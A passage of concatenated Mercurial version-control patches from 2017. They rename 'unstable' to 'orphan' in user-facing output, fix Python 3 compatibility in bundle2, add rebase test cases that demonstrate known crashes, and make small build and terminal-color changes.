   | x  changeset:   1:471f378eab4c
@@ -469,7 +469,7 @@
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: divergent
   |  summary:     A3
   |
   | x  changeset:   3:65b757b745b9
@@ -482,7 +482,7 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    trouble:     divergent
+  |    instability: divergent
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
@@ -1086,20 +1086,20 @@
   |  parent:      5:dd800401bd8c
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: divergent
   |  summary:     Add B only
   |
   | o  changeset:   8:b18bc8331526
   |/   parent:      5:dd800401bd8c
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    trouble:     divergent
+  |    instability: divergent
   |    summary:     Add only B
   |
   | o  changeset:   7:ba2ed02b0c9a
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  trouble:     unstable, divergent
+  | |  instability: unstable, divergent
   | |  summary:     Add A,B,C
   | |
   | x  changeset:   6:4a004186e638
@@ -1111,7 +1111,7 @@
   |  parent:      3:f897c6137566
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: divergent
   |  summary:     Add A,B,C
   |
   o  changeset:   3:f897c6137566
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501602828 -7200
#      Tue Aug 01 17:53:48 2017 +0200
# Node ID 03039ff3082b970e70f582e998a7287d1600e912
# Parent  6f4bc9688ca9fc6efd8654b1eaa51f8828a9e85b
evolution: rename unstable to orphan

Rename unstable to orphan in all external user-facing output. Only update
user-facing output for the moment, variables names, templates keyword and
potentially configuration would be done in later series.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D214

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4941,7 +4941,7 @@
             numtrouble = len(repo.revs(trouble + "()"))
             # We write all the possibilities to ease translation
             troublemsg = {
-               "unstable": _("unstable: %d changesets"),
+               "unstable": _("orphan: %d changesets"),
                "divergent": _("divergent: %d changesets"),
                "bumped": _("bumped: %d changesets"),
             }
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -229,13 +229,13 @@
         """return the list of troubles affecting this changesets.
 
         Troubles are returned as strings. possible values are:
-        - unstable,
+        - orphan,
         - bumped,
         - divergent.
         """
         troubles = []
         if self.unstable():
-            troubles.append('unstable')
+            troubles.append('orphan')
         if self.bumped():
             troubles.append('bumped')
         if self.divergent():
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -677,7 +677,7 @@
         if unfi.obsstore:
             # this message are here for 80 char limit reason
             mso = _("push includes obsolete changeset: %s!")
-            mst = {"unstable": _("push includes unstable changeset: %s!"),
+            mst = {"orphan": _("push includes orphan changeset: %s!"),
                    "bumped": _("push includes bumped changeset: %s!"),
                    "divergent": _("push includes divergent changeset: %s!")}
             # If we are to push if there is at least one
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -610,7 +610,7 @@
   parent:      11:3334b7925910
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  instability: unstable
+  instability: orphan
   summary:     babar
   
 
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -1099,7 +1099,7 @@
   | o  changeset:   7:ba2ed02b0c9a
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  instability: unstable, divergent
+  | |  instability: orphan, divergent
   | |  summary:     Add A,B,C
   | |
   | x  changeset:   6:4a004186e638
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -520,15 +520,15 @@
   $ hg log -r 'obsolete()'
   4:94b33453f93b (draft *obsolete*) [ ] add original_d
   $ hg summary
-  parent: 5:cda648ca50f5 tip (unstable)
+  parent: 5:cda648ca50f5 tip (orphan)
    add original_e
   branch: default
   commit: (clean)
   update: 1 new changesets, 2 branch heads (merge)
   phases: 3 draft
-  unstable: 1 changesets
+  orphan: 1 changesets
   $ hg log -G -r '::unstable()'
-  @  5:cda648ca50f5 (draft unstable) [tip ] add original_e
+  @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
   x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
   |
@@ -552,7 +552,7 @@
   $ hg push ../tmpc/
   pushing to ../tmpc/
   searching for changes
-  abort: push includes unstable changeset: cda648ca50f5!
+  abort: push includes orphan changeset: cda648ca50f5!
   [255]
 
 Test that extinct changeset are properly detected
@@ -570,7 +570,7 @@
   2:245bde4270cd (public) [ ] add original_c
   3:6f9641995072 (draft) [ ] add n3w_3_c
   4:94b33453f93b (draft *obsolete*) [ ] add original_d
-  5:cda648ca50f5 (draft unstable) [tip ] add original_e
+  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   $ hg push ../tmpf -f # -f because be push unstable too
   pushing to ../tmpf
   searching for changes
@@ -591,7 +591,7 @@
 Do not warn about new head when the new head is a successors of a remote one
 
   $ hg log -G
-  @  5:cda648ca50f5 (draft unstable) [tip ] add original_e
+  @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
   x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
   |
@@ -914,7 +914,7 @@
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     unstable, bumped
+  instability: orphan, bumped
   summary:     add babar
   
 
@@ -926,7 +926,7 @@
 test the "troubles" templatekw
 
   $ hg log -r 'bumped() and unstable()'
-  7:50c51b361e60 (draft unstable bumped) [ ] add babar
+  7:50c51b361e60 (draft orphan bumped) [ ] add babar
 
 test the default cmdline template
 
@@ -934,7 +934,7 @@
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     unstable, bumped
+  trouble:     orphan, bumped
   summary:     add babar
   
   $ hg log -T default -r 'obsolete()'
@@ -950,13 +950,13 @@
   $ hg up -r 'bumped() and unstable()'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg summary
-  parent: 7:50c51b361e60  (unstable, bumped)
+  parent: 7:50c51b361e60  (orphan, bumped)
    add babar
   branch: default
   commit: (clean)
   update: 2 new changesets (update)
   phases: 4 draft
-  unstable: 2 changesets
+  orphan: 2 changesets
   bumped: 1 changesets
   $ hg up -r 'obsolete()'
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
@@ -967,7 +967,7 @@
   commit: (clean)
   update: 3 new changesets (update)
   phases: 4 draft
-  unstable: 2 changesets
+  orphan: 2 changesets
   bumped: 1 changesets
 
 Test incoming/outcoming with changesets obsoleted remotely, known locally
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -793,13 +793,13 @@
   o  0:4a2df7238c3b A
   
   $ hg summary
-  parent: 15:73568ab6879d tip (unstable)
+  parent: 15:73568ab6879d tip (orphan)
    bar foo
   branch: default
   commit: (clean)
   update: 2 new changesets, 3 branch heads (merge)
   phases: 8 draft
-  unstable: 1 changesets
+  orphan: 1 changesets
   $ hg rebase -s 10 -d 12
   abort: this rebase will cause divergences from: 121d9e3bc4c6
   (to force the rebase please set experimental.allowdivergence=True)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500906083 14400
#      Mon Jul 24 10:21:23 2017 -0400
# Node ID e5f8c7baa7290fd99d698fab4a419a09d8b41ca6
# Parent  03039ff3082b970e70f582e998a7287d1600e912
obsolete: reuse _fm1metapair for computing _fm1metapairsize

It's evaluated at import time, so it seems silly to not reuse the
constant name.

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -314,7 +314,7 @@
 _fm1parentshift = 14
 _fm1parentmask = (_fm1parentnone << _fm1parentshift)
 _fm1metapair = 'BB'
-_fm1metapairsize = _calcsize('BB')
+_fm1metapairsize = _calcsize(_fm1metapair)
 
 def _fm1purereadmarkers(data, off, stop):
     # make some global constants local for performance
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500909413 14400
#      Mon Jul 24 11:16:53 2017 -0400
# Node ID 38fc45721334b566d2a3f56b3274c7fbc18ae1f5
# Parent  e5f8c7baa7290fd99d698fab4a419a09d8b41ca6
changegroup: wrap some ** expansions in strkwargs

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -266,7 +266,8 @@
             # in this function.
             srctype = tr.hookargs.setdefault('source', srctype)
             url = tr.hookargs.setdefault('url', url)
-            repo.hook('prechangegroup', throw=True, **tr.hookargs)
+            repo.hook('prechangegroup',
+                      throw=True, **pycompat.strkwargs(tr.hookargs))
 
             # write changelog data to temp files so concurrent readers
             # will not see an inconsistent view
@@ -353,7 +354,8 @@
                     hookargs = dict(tr.hookargs)
                     hookargs['node'] = hex(cl.node(clstart))
                     hookargs['node_last'] = hex(cl.node(clend - 1))
-                repo.hook('pretxnchangegroup', throw=True, **hookargs)
+                repo.hook('pretxnchangegroup',
+                          throw=True, **pycompat.strkwargs(hookargs))
 
             added = [cl.node(r) for r in xrange(clstart, clend)]
             phaseall = None
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500909456 14400
#      Mon Jul 24 11:17:36 2017 -0400
# Node ID da7c285ec6da1cd2be0485ddb4b83b3c21c79b02
# Parent  38fc45721334b566d2a3f56b3274c7fbc18ae1f5
bundle2: use modern Python division

This was failing on Python 3 because the / was returning a float,
which was then making the __mul__ on a bytes sad.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -145,7 +145,7 @@
 preserve.
 """
 
-from __future__ import absolute_import
+from __future__ import absolute_import, division
 
 import errno
 import re
@@ -1017,7 +1017,7 @@
         for key, value in advpar:
             parsizes.append(len(key))
             parsizes.append(len(value))
-        paramsizes = _pack(_makefpartparamsizes(len(parsizes) / 2), *parsizes)
+        paramsizes = _pack(_makefpartparamsizes(len(parsizes) // 2), *parsizes)
         header.append(paramsizes)
         # key, value
         for key, value in manpar:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500909585 14400
#      Mon Jul 24 11:19:45 2017 -0400
# Node ID 5ae35a1347fdf0ceee9417239c0236e8d61e62fe
# Parent  da7c285ec6da1cd2be0485ddb4b83b3c21c79b02
bundle2: look for __next__ as well as next to identify iterators

In Python 3, next is called __next__ and this was failing to catch
some iterators.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1070,7 +1070,8 @@
         Exists to handle the different methods to provide data to a part."""
         # we only support fixed size data now.
         # This will be improved in the future.
-        if util.safehasattr(self.data, 'next'):
+        if (util.safehasattr(self.data, 'next')
+            or util.safehasattr(self.data, '__next__')):
             buff = util.chunkbuffer(self.data)
             chunk = buff.read(preferedchunksize)
             while chunk:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500909608 14400
#      Mon Jul 24 11:20:08 2017 -0400
# Node ID 9a323773216c9b3820c73b9baa55425dd1710e85
# Parent  5ae35a1347fdf0ceee9417239c0236e8d61e62fe
bundle2: work around zip() being lazy in Python 3

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1249,7 +1249,7 @@
         fparamsizes = _makefpartparamsizes(mancount + advcount)
         paramsizes = self._unpackheader(fparamsizes)
         # make it a list of couple again
-        paramsizes = zip(paramsizes[::2], paramsizes[1::2])
+        paramsizes = list(zip(paramsizes[::2], paramsizes[1::2]))
         # split mandatory from advisory
         mansizes = paramsizes[:mancount]
         advsizes = paramsizes[mancount:]
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500910120 14400
#      Mon Jul 24 11:28:40 2017 -0400
# Node ID 24b7c75c64415996ff1eabe9785610374b22c3d8
# Parent  9a323773216c9b3820c73b9baa55425dd1710e85
bundle2: use bytestr() instead of str() to convert part id to bytes

This was exposed by trying to run previously-passing Python 3 tests.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -491,7 +491,8 @@
             if output:
                 outpart = op.reply.newpart('output', data=output,
                                            mandatory=False)
-                outpart.addparam('in-reply-to', str(part.id), mandatory=False)
+                outpart.addparam(
+                    'in-reply-to', pycompat.bytestr(part.id), mandatory=False)
     # If exiting or interrupted, do not attempt to seek the stream in the
     # finally block below. This makes abort faster.
     except (SystemExit, KeyboardInterrupt):
@@ -1578,7 +1579,8 @@
         # This is definitely not the final form of this
         # return. But one need to start somewhere.
         part = op.reply.newpart('reply:changegroup', mandatory=False)
-        part.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        part.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         part.addparam('return', '%i' % ret, mandatory=False)
     assert not inpart.read()
 
@@ -1641,7 +1643,8 @@
         # This is definitely not the final form of this
         # return. But one need to start somewhere.
         part = op.reply.newpart('reply:changegroup')
-        part.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        part.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         part.addparam('return', '%i' % ret, mandatory=False)
     try:
         real_part.validate()
@@ -1784,7 +1787,8 @@
     op.records.add('pushkey', record)
     if op.reply is not None:
         rpart = op.reply.newpart('reply:pushkey')
-        rpart.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        rpart.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         rpart.addparam('return', '%i' % ret, mandatory=False)
     if inpart.mandatory and not ret:
         kwargs = {}
@@ -1839,7 +1843,8 @@
     op.records.add('obsmarkers', {'new': new})
     if op.reply is not None:
         rpart = op.reply.newpart('reply:obsmarkers')
-        rpart.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        rpart.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         rpart.addparam('new', '%i' % new, mandatory=False)
 
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500909551 14400
#      Mon Jul 24 11:19:11 2017 -0400
# Node ID 9f862fe7a8bd8f4481589790169657ab2fa1ed0e
# Parent  24b7c75c64415996ff1eabe9785610374b22c3d8
bundle2: obtain repr() of exception in a python3-safe way

This was exposed by other problems in bundle generation, but I'm not
sure how to test it for now.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1045,11 +1045,12 @@
             ui.debug('bundle2-generatorexit\n')
             raise
         except BaseException as exc:
+            bexc = pycompat.bytestr(exc)
             # backup exception data for later
             ui.debug('bundle2-input-stream-interrupt: encoding exception %s'
-                     % exc)
+                     % bexc)
             tb = sys.exc_info()[2]
-            msg = 'unexpected error: %s' % exc
+            msg = 'unexpected error: %s' % bexc
             interpart = bundlepart('error:abort', [('message', msg)],
                                    mandatory=False)
             interpart.id = 0
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1500272261 25200
#      Sun Jul 16 23:17:41 2017 -0700
# Node ID 644dddccc265a3555bc0b4c5e36972528714c21b
# Parent  9f862fe7a8bd8f4481589790169657ab2fa1ed0e
tests: demonstrate broken rebase of merge with p1's successor in dest

The fix in 8ede973597fd (rebase: handle successor targets (issue5198),
2016-04-11) only fixed the case where p2's successor was in the
destination, and only when the successor was exactly the destination
(i.e. not when the successor was an ancestor of it). This patch adds a
test case for when p1's successor is in the destination. It adds
another one for when the successor is an ancestor of the
destination. To do that simply, it also rewrites the test case using
drawdag.

Differential Revision: https://phab.mercurial-scm.org/D211

diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -13,6 +13,7 @@
   > publish=False
   > [extensions]
   > rebase=
+  > drawdag=$TESTDIR/drawdag.py
   > EOF
 
 Setup rebase canonical repo
@@ -896,55 +897,202 @@
   rebasing 22:7bdc8a87673d "dummy change" (tip)
   $ cd ..
 
-rebase source is obsoleted (issue5198)
----------------------------------
+Rebase merge where successor of one parent is equal to destination (issue5198)
+
+  $ hg init p1-succ-is-dest
+  $ cd p1-succ-is-dest
 
-  $ hg clone base amended
-  updating to branch default
-  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ cd amended
-  $ hg up 9520eea781bc
-  1 files updated, 0 files merged, 2 files removed, 0 files unresolved
-  $ echo 1 >> E
-  $ hg commit --amend -m "E'" -d "0 0"
+  $ hg debugdrawdag <<EOF
+  >   F
+  >  /|
+  > E D B # replace: D -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d B -s D
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
+  rebasing 4:66f1a38021c9 "F" (F tip)
   $ hg log -G
-  @  9:69abe8906104 E'
-  |
-  | o  7:02de42196ebe H
-  | |
-  | | o  6:eea13746799a G
+  o    5:50e9d60b99c6 F
+  |\
+  | | x  4:66f1a38021c9 F
   | |/|
-  | o |  5:24b6387c8c8c F
-  |/ /
-  | x  4:9520eea781bc E
+  | o |  3:7fb047a69f22 E
+  | | |
+  | | x  2:b18e25de2cf5 D
+  | |/
+  o |  1:112478962961 B
   |/
-  | o  3:32af7686d403 D
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of other parent is equal to destination
+
+  $ hg init p2-succ-is-dest
+  $ cd p2-succ-is-dest
+
+  $ hg debugdrawdag <<EOF
+  >   F
+  >  /|
+  > E D B # replace: E -> B
+  >  \|/
+  >   A
+  > EOF
+
+BROKEN: Raises an exception
+  $ hg rebase -d B -s E 2>&1 | grep AssertionError:
+  AssertionError: no base found to rebase on (defineparents called wrong)
+  $ hg log -G
+  o    4:66f1a38021c9 F
+  |\
+  | x  3:7fb047a69f22 E
   | |
-  | o  2:5fddd98957c8 C
-  | |
-  | o  1:42ccdea3bb16 B
+  o |  2:b18e25de2cf5 D
   |/
-  o  0:cd010b8cd998 A
+  | o  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
   
-  $ hg rebase -d . -s 9520eea781bc
-  note: not rebasing 4:9520eea781bc "E", already in destination as 9:69abe8906104 "E'"
-  rebasing 6:eea13746799a "G"
+  $ cd ..
+
+Rebase merge where successor of one parent is ancestor of destination
+
+  $ hg init p1-succ-in-dest
+  $ cd p1-succ-in-dest
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: D -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d C -s D
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
+  rebasing 5:66f1a38021c9 "F" (F tip)
+BROKEN: not rebased on top of requested destination (C)
   $ hg log -G
-  o    10:17be06e82e95 G
+  o    6:50e9d60b99c6 F
+  |\
+  | | x  5:66f1a38021c9 F
+  | |/|
+  +-----o  4:26805aba1e60 C
+  | | |
+  | o |  3:7fb047a69f22 E
+  | | |
+  | | x  2:b18e25de2cf5 D
+  | |/
+  o |  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of other parent is ancestor of destination
+
+  $ hg init p2-succ-in-dest
+  $ cd p2-succ-in-dest
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: E -> B
+  >  \|/
+  >   A
+  > EOF
+
+BROKEN: Raises an exception
+  $ hg rebase -d C -s E 2>&1 | grep AssertionError:
+  AssertionError: no base found to rebase on (defineparents called wrong)
+  $ hg log -G
+  o    5:66f1a38021c9 F
   |\
-  | @  9:69abe8906104 E'
-  | |
-  +---o  7:02de42196ebe H
-  | |
-  o |  5:24b6387c8c8c F
+  | | o  4:26805aba1e60 C
+  | | |
+  | x |  3:7fb047a69f22 E
+  | | |
+  o | |  2:b18e25de2cf5 D
+  |/ /
+  | o  1:112478962961 B
   |/
-  | o  3:32af7686d403 D
-  | |
-  | o  2:5fddd98957c8 C
-  | |
-  | o  1:42ccdea3bb16 B
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of one parent is ancestor of destination
+
+  $ hg init p1-succ-in-dest-b
+  $ cd p1-succ-in-dest-b
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: E -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d C -b F
+  rebasing 2:b18e25de2cf5 "D" (D)
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
+  rebasing 5:66f1a38021c9 "F" (F tip)
+  $ hg log -G
+  o  7:9ed45af61fa0 F
+  |
+  o  6:8f47515dda15 D
+  |
+  | x    5:66f1a38021c9 F
+  | |\
+  o | |  4:26805aba1e60 C
+  | | |
+  | | x  3:7fb047a69f22 E
+  | | |
+  | x |  2:b18e25de2cf5 D
+  | |/
+  o /  1:112478962961 B
   |/
-  o  0:cd010b8cd998 A
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of other parent is ancestor of destination
+
+  $ hg init p2-succ-in-dest-b
+  $ cd p2-succ-in-dest-b
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: D -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d C -b F
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
+  rebasing 3:7fb047a69f22 "E" (E)
+  rebasing 5:66f1a38021c9 "F" (F tip)
+BROKEN: This should have resulted in a rebased F with one parent, just like in
+the test case above
+  $ hg log -G
+  o    7:c1e6f26e339d F
+  |\
+  | o  6:533690786a86 E
+  |/
+  | x    5:66f1a38021c9 F
+  | |\
+  o | |  4:26805aba1e60 C
+  | | |
+  | | x  3:7fb047a69f22 E
+  | | |
+  | x |  2:b18e25de2cf5 D
+  | |/
+  o /  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
   
   $ cd ..
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1500067855 25200
#      Fri Jul 14 14:30:55 2017 -0700
# Node ID 855a1856466d8c6ea9ee897ca043aa8deb2114f6
# Parent  644dddccc265a3555bc0b4c5e36972528714c21b
tests: demonstrate crash when trying to rebase merge without its parents

As the test case shows, when "hg rebase -d G -r 'B + D + F'" is run on
the following graph, we crash with traceback. It's reasonable to fail
because we can not easily produce a correct rebased F. The problem is
what diff to apply to either the rebased B or the rebased D. We could
potentially produce the result by e.g. applying the (F-D) diff to the
rebased B and then applying the reverse (E-D) diff on top, but that
could result in merge conflicts in each of those steps, which we don't
have a way of dealing with. So for now, let's just add a test case to
demonstrate that we crash (i.e. the AssertionError is clearly
incorrect since the user can run into it).

  F
 /|
C E
| |
B D G
 \|/
  A

Differential Revision: https://phab.mercurial-scm.org/D212

diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -473,6 +473,27 @@
   
   $ cd ..
 
+Detach both parents
+
+  $ hg init double-detach
+  $ cd double-detach
+
+  $ hg debugdrawdag <<EOF
+  >   F
+  >  /|
+  > C E
+  > | |
+  > B D G
+  >  \|/
+  >   A
+  > EOF
+
+BROKEN: This raises an exception
+  $ hg rebase -d G -r 'B + D + F' 2>&1 | grep '^AssertionError'
+  AssertionError: no base found to rebase on (defineparents called wrong)
+
+  $ cd ..
+
 test on rebase dropping a merge
 
 (setup)
# HG changeset patch
# User Mathias De Maré <mathias.de_mare@nokia.com>
# Date 1501164566 -7200
#      Thu Jul 27 16:09:26 2017 +0200
# Node ID 8fbd56a4073c9e637851e7493538f2c9d7428f7a
# Parent  855a1856466d8c6ea9ee897ca043aa8deb2114f6
rpms: add chg

I'm not sure if there's a reason chg is not added by default.
If not, I would like to propose adding in this patch.

Differential Revision: https://phab.mercurial-scm.org/D220

diff --git a/contrib/mercurial.spec b/contrib/mercurial.spec
--- a/contrib/mercurial.spec
+++ b/contrib/mercurial.spec
@@ -83,6 +83,7 @@
 %endif
 
 make all
+make -C contrib/chg
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -111,6 +112,7 @@
 
 %endif
 
+install -m 755 contrib/chg/chg $RPM_BUILD_ROOT%{_bindir}/
 install -m 755 contrib/hgk $RPM_BUILD_ROOT%{_bindir}/
 install -m 755 contrib/hg-ssh $RPM_BUILD_ROOT%{_bindir}/
 
@@ -143,6 +145,7 @@
 %{_datadir}/emacs/site-lisp/mercurial.el
 %{_datadir}/emacs/site-lisp/mq.el
 %{_bindir}/hg
+%{_bindir}/chg
 %{_bindir}/hgk
 %{_bindir}/hg-ssh
 %dir %{_sysconfdir}/bash_completion.d/
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1501789248 25200
#      Thu Aug 03 12:40:48 2017 -0700
# Node ID f9f28ee41cacfaa3f59188cc9b19f251d623c960
# Parent  8fbd56a4073c9e637851e7493538f2c9d7428f7a
color: remove warnings if term is not formatted (==dumb or !ui.formatted())

If the user sets color.mode=terminfo, and then runs in the shell inside of emacs
(so TERM=dumb), the previous behavior was that it would warn about no terminfo
entry for setab/setaf, and then warn about 'failed to set color mode to
terminfo'.  The first warning is silenced by carrying 'formatted' through to
_terminfosetup, the second is silenced by using 'formatted' instead of
ui.formatted().

If --color=on (or ui.color=always) is specified, this will still warn, since the
formatted boolean is set to true in these cases.

Differential Revision: https://phab.mercurial-scm.org/D223

diff --git a/mercurial/color.py b/mercurial/color.py
--- a/mercurial/color.py
+++ b/mercurial/color.py
@@ -130,7 +130,7 @@
 def loadcolortable(ui, extname, colortable):
     _defaultstyles.update(colortable)
 
-def _terminfosetup(ui, mode):
+def _terminfosetup(ui, mode, formatted):
     '''Initialize terminfo data and the terminal if we're in terminfo mode.'''
 
     # If we failed to load curses, we go ahead and return.
@@ -164,8 +164,8 @@
             del ui._terminfoparams[key]
     if not curses.tigetstr('setaf') or not curses.tigetstr('setab'):
         # Only warn about missing terminfo entries if we explicitly asked for
-        # terminfo mode.
-        if mode == "terminfo":
+        # terminfo mode and we're in a formatted terminal.
+        if mode == "terminfo" and formatted:
             ui.warn(_("no terminfo entry for setab/setaf: reverting to "
               "ECMA-48 color\n"))
         ui._terminfoparams.clear()
@@ -242,7 +242,7 @@
     def modewarn():
         # only warn if color.mode was explicitly set and we're in
         # a formatted terminal
-        if mode == realmode and ui.formatted():
+        if mode == realmode and formatted:
             ui.warn(_('warning: failed to set color mode to %s\n') % mode)
 
     if realmode == 'win32':
@@ -253,7 +253,7 @@
     elif realmode == 'ansi':
         ui._terminfoparams.clear()
     elif realmode == 'terminfo':
-        _terminfosetup(ui, mode)
+        _terminfosetup(ui, mode, formatted)
         if not ui._terminfoparams:
             ## FIXME Shouldn't we return None in this case too?
             modewarn()
# HG changeset patch
# User Rodrigo Damazio <rdamazio@google.com>
# Date 1501816111 25200
#      Thu Aug 03 20:08:31 2017 -0700
# Node ID 8626b44516c1b578f0b50afff12087844a14878f
# Parent  f9f28ee41cacfaa3f59188cc9b19f251d623c960
build: delay version computation on macOS builds

The way HGVER is evaluated now, it'll be evaluated at the beginning of the
make execution - with this change, it's evaluated when it gets to that command,
at which point the version file it's looking for is sure to exist and be
 up-to-date.

Differential Revision: https://phab.mercurial-scm.org/D224

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -186,7 +186,7 @@
 	  PREFIX=/usr/local \
 	  clean install
 	mkdir -p $${OUTPUTDIR:-dist}
-	HGVER=$(shell python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py ) && \
+	HGVER=$$(shell python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py ) && \
 	OSXVER=$$(sw_vers -productVersion | cut -d. -f1,2) && \
 	pkgbuild --filter \\.DS_Store --root build/mercurial/ \
 	  --identifier org.mercurial-scm.mercurial \
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1501768952 -32400
#      Thu Aug 03 23:02:32 2017 +0900
# Node ID 1d5e497c08b35983714c07386d25b26c5b6e555f
# Parent  8626b44516c1b578f0b50afff12087844a14878f
py3: convert arbitrary exception object to byte string more reliably

Our exception types implement __bytes__(), which should be tried first. Do
lossy encoding conversion as a last resort.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1045,7 +1045,7 @@
             ui.debug('bundle2-generatorexit\n')
             raise
         except BaseException as exc:
-            bexc = pycompat.bytestr(exc)
+            bexc = util.forcebytestr(exc)
             # backup exception data for later
             ui.debug('bundle2-input-stream-interrupt: encoding exception %s'
                      % bexc)
diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
